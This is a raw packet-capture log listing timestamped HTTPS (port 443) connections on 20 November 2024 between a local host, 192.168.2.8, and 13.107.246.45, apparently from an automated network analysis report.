Nov 20, 2024 13:28:31.455101013 CET	443	49826	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.455157042 CET	49826	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.455333948 CET	49826	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.455348969 CET	443	49826	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.455807924 CET	443	49821	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.455876112 CET	443	49821	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.455915928 CET	49821	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.456129074 CET	49821	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.456135988 CET	443	49821	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.458846092 CET	49827	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.458879948 CET	443	49827	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.458930969 CET	49827	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.459098101 CET	49827	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.459110975 CET	443	49827	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.483675003 CET	443	49822	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.483834028 CET	443	49822	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.483923912 CET	49822	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.484200001 CET	49822	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.484200001 CET	49822	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.484225035 CET	443	49822	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.484252930 CET	443	49822	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.488320112 CET	49828	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.488362074 CET	443	49828	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:31.488423109 CET	49828	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.488725901 CET	49828	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:31.488742113 CET	443	49828	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.240546942 CET	443	49827	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.241894007 CET	443	49824	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.242058992 CET	49827	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.242105961 CET	443	49827	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.242916107 CET	49827	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.242938042 CET	443	49827	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.243045092 CET	49824	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.243056059 CET	443	49824	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.243669033 CET	49824	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.243673086 CET	443	49824	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.245419979 CET	443	49825	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.249671936 CET	49825	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.249706030 CET	443	49825	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.250228882 CET	49825	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.250247002 CET	443	49825	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.256551027 CET	443	49828	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.257601976 CET	49828	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.257621050 CET	443	49828	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.258090973 CET	443	49826	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.258635044 CET	49828	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.258646965 CET	443	49828	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.258928061 CET	49826	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.258986950 CET	443	49826	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.259459019 CET	49826	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.259475946 CET	443	49826	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.346487045 CET	443	49827	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.346667051 CET	443	49827	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.346820116 CET	49827	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.346910954 CET	443	49824	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.346982002 CET	443	49824	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.347117901 CET	49827	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.347137928 CET	443	49827	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.347151041 CET	49827	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.347157001 CET	443	49827	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.347161055 CET	49824	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.347341061 CET	49824	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.347341061 CET	49824	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.347382069 CET	443	49824	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.347405910 CET	443	49824	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.350517988 CET	49830	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.350564003 CET	443	49830	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.350652933 CET	49830	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.350733042 CET	49831	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.350771904 CET	443	49831	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.350784063 CET	49830	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.350799084 CET	443	49830	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.350841045 CET	49831	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.350927114 CET	49831	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.350938082 CET	443	49831	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.360270977 CET	443	49825	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.360352039 CET	443	49825	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.360411882 CET	49825	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.360512018 CET	49825	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.360519886 CET	443	49825	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.360537052 CET	49825	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.360541105 CET	443	49825	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.363708973 CET	49832	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.363738060 CET	443	49832	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.363881111 CET	49832	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.364011049 CET	49832	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.364026070 CET	443	49832	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.372317076 CET	443	49828	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.372411013 CET	443	49828	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.372556925 CET	49828	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.372596025 CET	49828	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.372613907 CET	443	49828	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.372625113 CET	49828	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.372631073 CET	443	49828	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.373764038 CET	443	49826	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.373838902 CET	443	49826	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.373999119 CET	49826	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.374099970 CET	49826	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.374099970 CET	49826	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.374116898 CET	443	49826	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.374126911 CET	443	49826	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.376020908 CET	49833	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.376053095 CET	443	49833	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.376267910 CET	49834	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.376307964 CET	49833	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.376322031 CET	443	49834	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.376388073 CET	49834	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.376472950 CET	49833	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.376490116 CET	443	49833	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:32.376506090 CET	49834	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:32.376524925 CET	443	49834	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.046869993 CET	443	49831	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.047630072 CET	49831	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.047661066 CET	443	49831	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.048151970 CET	49831	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.048156977 CET	443	49831	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.054361105 CET	443	49834	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.054704905 CET	49834	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.054723024 CET	443	49834	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.055083036 CET	49834	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.055089951 CET	443	49834	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.091152906 CET	443	49832	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.091762066 CET	49832	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.091804028 CET	443	49832	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.092425108 CET	49832	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.092437029 CET	443	49832	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.093352079 CET	443	49830	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.093852997 CET	49830	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.093875885 CET	443	49830	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.094412088 CET	49830	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.094417095 CET	443	49830	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.140259981 CET	443	49833	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.140867949 CET	49833	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.140908003 CET	443	49833	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.141531944 CET	49833	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.141539097 CET	443	49833	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.150607109 CET	443	49831	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.150686026 CET	443	49831	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.150762081 CET	49831	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.151757002 CET	49831	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.151777029 CET	443	49831	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.151787043 CET	49831	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.151792049 CET	443	49831	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.155756950 CET	49835	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.155797005 CET	443	49835	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.155985117 CET	49835	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.156261921 CET	49835	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.156280994 CET	443	49835	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.171189070 CET	443	49834	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.171591997 CET	443	49834	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.171673059 CET	49834	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.171720982 CET	49834	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.171751976 CET	443	49834	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.171778917 CET	49834	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.171793938 CET	443	49834	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.174401045 CET	49836	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.174454927 CET	443	49836	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.174537897 CET	49836	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.174669027 CET	49836	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.174686909 CET	443	49836	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.194770098 CET	443	49832	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.194931030 CET	443	49832	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.195221901 CET	49832	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.195291042 CET	49832	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.195344925 CET	443	49832	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.195368052 CET	49832	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.195374966 CET	443	49832	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.197989941 CET	443	49830	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.198141098 CET	443	49830	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.198251009 CET	49830	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.198473930 CET	49830	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.198489904 CET	443	49830	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.198502064 CET	49830	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.198513985 CET	443	49830	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.203141928 CET	49838	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.203175068 CET	443	49838	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.203254938 CET	49838	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.203443050 CET	49838	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.203455925 CET	443	49838	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.204902887 CET	49839	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.204957008 CET	443	49839	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.205095053 CET	49839	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.205220938 CET	49839	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.205250978 CET	443	49839	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.244364977 CET	443	49833	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.244443893 CET	443	49833	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.244586945 CET	49833	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.248164892 CET	49833	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.248179913 CET	443	49833	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.248214006 CET	49833	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.248222113 CET	443	49833	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.252053022 CET	49840	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.252074003 CET	443	49840	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.252156019 CET	49840	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.252368927 CET	49840	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.252388000 CET	443	49840	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.795427084 CET	443	49839	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.796258926 CET	49839	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.796315908 CET	443	49839	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.796750069 CET	49839	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.796766043 CET	443	49839	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.825424910 CET	443	49835	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.826009035 CET	49835	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.826041937 CET	443	49835	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.826467991 CET	49835	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.826474905 CET	443	49835	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.831475019 CET	443	49836	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.831907988 CET	49836	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.831990004 CET	443	49836	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.832326889 CET	49836	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.832343102 CET	443	49836	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.852025032 CET	443	49838	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.864880085 CET	49838	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.864924908 CET	443	49838	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.865462065 CET	49838	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.865473032 CET	443	49838	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.909548998 CET	443	49839	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.909698009 CET	443	49839	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.909774065 CET	49839	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.912018061 CET	49839	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.912018061 CET	49839	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.912065029 CET	443	49839	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.912091017 CET	443	49839	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.925474882 CET	443	49840	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.928096056 CET	443	49835	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.928173065 CET	443	49835	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.928252935 CET	49835	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.932766914 CET	443	49836	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.932924032 CET	443	49836	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.933011055 CET	49836	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.961846113 CET	49840	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.961878061 CET	443	49840	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.962266922 CET	49835	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.962291002 CET	443	49835	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.962305069 CET	49835	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.962312937 CET	443	49835	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.962927103 CET	443	49838	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.963006020 CET	443	49838	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.963054895 CET	49838	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.964214087 CET	49838	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.964232922 CET	443	49838	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.964252949 CET	49838	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.964260101 CET	443	49838	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.964611053 CET	49840	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.964621067 CET	443	49840	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.966250896 CET	49836	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.966262102 CET	443	49836	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.966270924 CET	49836	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.966274977 CET	443	49836	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.970892906 CET	49841	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.970968962 CET	443	49841	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.971057892 CET	49841	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.971731901 CET	49841	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.971766949 CET	443	49841	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.973278046 CET	49842	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.973321915 CET	443	49842	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.973390102 CET	49842	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.973531961 CET	49842	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.973551989 CET	443	49842	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.973891973 CET	49843	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.973939896 CET	443	49843	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.974015951 CET	49843	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.974451065 CET	49843	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.974473000 CET	443	49843	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.975042105 CET	49844	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.975107908 CET	443	49844	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:33.975204945 CET	49844	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.975373983 CET	49844	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:33.975405931 CET	443	49844	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.063235998 CET	443	49840	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.063308954 CET	443	49840	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.063426971 CET	49840	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.063682079 CET	49840	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.063709021 CET	443	49840	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.063723087 CET	49840	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.063730001 CET	443	49840	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.066912889 CET	49845	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.067009926 CET	443	49845	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.067117929 CET	49845	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.067276955 CET	49845	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.067327976 CET	443	49845	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.616369963 CET	443	49842	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.617036104 CET	49842	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.617072105 CET	443	49842	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.618705034 CET	49842	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.618710995 CET	443	49842	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.620830059 CET	443	49841	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.621290922 CET	49841	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.621345997 CET	443	49841	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.621659994 CET	49841	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.621674061 CET	443	49841	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.637490034 CET	443	49843	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.637844086 CET	443	49844	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.638056040 CET	49843	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.638071060 CET	443	49843	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.638195038 CET	49844	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.638231039 CET	443	49844	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.638417006 CET	49843	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.638423920 CET	443	49843	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.639132023 CET	49844	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.639138937 CET	443	49844	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.715787888 CET	443	49842	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.715843916 CET	443	49842	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.715934992 CET	49842	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.716217041 CET	49842	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.716233969 CET	443	49842	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.716278076 CET	49842	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.716284037 CET	443	49842	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.719826937 CET	49846	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.719868898 CET	443	49846	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.719985962 CET	49846	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.720180035 CET	49846	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.720196962 CET	443	49846	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.721116066 CET	443	49841	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.721288919 CET	443	49841	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.721347094 CET	49841	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.721386909 CET	49841	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.721386909 CET	49841	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.721416950 CET	443	49841	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.721431971 CET	443	49841	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.723571062 CET	49847	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.723618984 CET	443	49847	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.723690033 CET	49847	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.723817110 CET	49847	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.723828077 CET	443	49847	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.745461941 CET	443	49843	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.745526075 CET	443	49843	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.745573997 CET	49843	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.745767117 CET	49843	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.745780945 CET	443	49843	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.745791912 CET	49843	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.745799065 CET	443	49843	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.748445988 CET	49848	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.748481989 CET	443	49848	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.748580933 CET	49848	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.748729944 CET	49848	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.748744965 CET	443	49848	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.749545097 CET	443	49845	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.749950886 CET	49845	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.749979973 CET	443	49845	13.107.246.45	192.168.2.8
